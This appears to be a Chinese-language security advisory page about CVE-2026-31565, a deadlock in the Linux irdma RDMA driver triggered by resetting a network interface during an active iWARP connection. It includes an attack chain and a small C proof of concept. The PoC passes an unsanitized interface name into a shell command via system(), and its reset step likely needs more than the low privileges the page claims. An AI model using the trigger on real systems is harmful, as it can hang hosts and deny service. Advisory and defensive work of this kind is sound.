IPBUF安全漏洞报告
English
CVE-2026-31565 CVSS 5.5 中危

CVE-2026-31565 Linux内核RDMA死锁漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31565
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelRDMADeadlockDoSLocaliWARPCVE-2026-31565

漏洞概述

CVE-2026-31565是Linux内核RDMA子系统中irdma驱动程序的一个安全漏洞。该漏洞发生在网络设备重置且存在活跃RDMA连接的场景下。具体而言,当用户发起netdev reset操作时,底层ice驱动程序会移除irdma辅助驱动,进而触发设备删除及客户端移除流程。在此过程中,uverbs_client组件试图等待队列对(QP)的引用计数降为零,但此时cma_client组件正持有该引用,导致两者形成循环依赖。这种死锁状态会使得iWARP模式下的相关服务陷入无限等待,从而造成系统拒绝服务。

技术细节

该漏洞根源于Linux内核RDMA子系统中irdma驱动处理并发资源释放时的逻辑缺陷,具体表现为引用计数等待机制与设备卸载流程之间的死锁。在iWARP模式下,当网络接口卡(NIC)进行重置(netdev reset)时,底层的ice驱动会发起移除irdma辅助设备的操作。这一动作触发了内核中设备删除(device_delete)及随后的客户端移除逻辑。

在客户端移除阶段,uverbs_client负责清理用户态相关的资源,它会进入等待状态,直到队列对(QP)的引用计数降为零。然而,此时cma_client(连接管理代理)可能仍持有对QP的最后引用,且由于设备正在重置,该引用无法被正常释放。这导致了uverbs_client等待cma_client释放资源,而cma_client的释放流程又可能被阻塞或处于某种僵持状态,形成了经典的循环等待。

利用该漏洞需要本地访问权限。攻击者可先启动一个RDMA测试工具(如rping)建立并维持活跃连接,随后通过系统调用触发网卡重置。这会导致内核线程陷入死锁,消耗系统资源或导致相关网络服务挂起,实现本地拒绝服务攻击。

攻击链分析

STEP 1
步骤1
攻击者获得本地系统的低权限访问权限。
STEP 2
步骤2
攻击者在目标系统上运行RDMA应用程序(如rping),建立并维持活跃的iWARP连接。
STEP 3
步骤3
攻击者触发网络设备重置操作,导致底层驱动尝试移除irdma辅助设备。
STEP 4
步骤4
内核在清理资源时发生死锁,导致相关内核线程挂起,系统出现拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31565 * Triggering RDMA/irdma deadlock during netdev reset. * Compile: gcc -o poc_deadlock poc_deadlock.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s <interface_name>\n", argv[0]); printf("Ensure an RDMA application (like rping) is running in background.\n"); return 1; } char *iface = argv[1]; char cmd[256]; printf("[+] Step 1: Ensure RDMA connection is active (e.g., run rping server/client)\n"); printf("[+] Step 2: Triggering netdev reset on %s...\n", iface); // Construct command to reset the network interface // This simulates the user action that triggers the ice driver to remove irdma snprintf(cmd, sizeof(cmd), "ip link set %s down && ip link set %s up", iface, iface); // Execute the reset // This should trigger the deadlock in vulnerable kernels int ret = system(cmd); if (ret == 0) { printf("[+] Reset command executed. If kernel is vulnerable, system may hang.\n"); } else { printf("[-] Failed to execute reset command.\n"); } return 0; }

影响范围

Linux Kernel (Specific versions with irdma/iWARP support prior to patches)

防御指南

临时缓解措施
建议限制非特权用户对网络设备配置的访问权限。如果不需要使用RDMA功能,可以在系统启动时禁用irdma相关内核模块以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表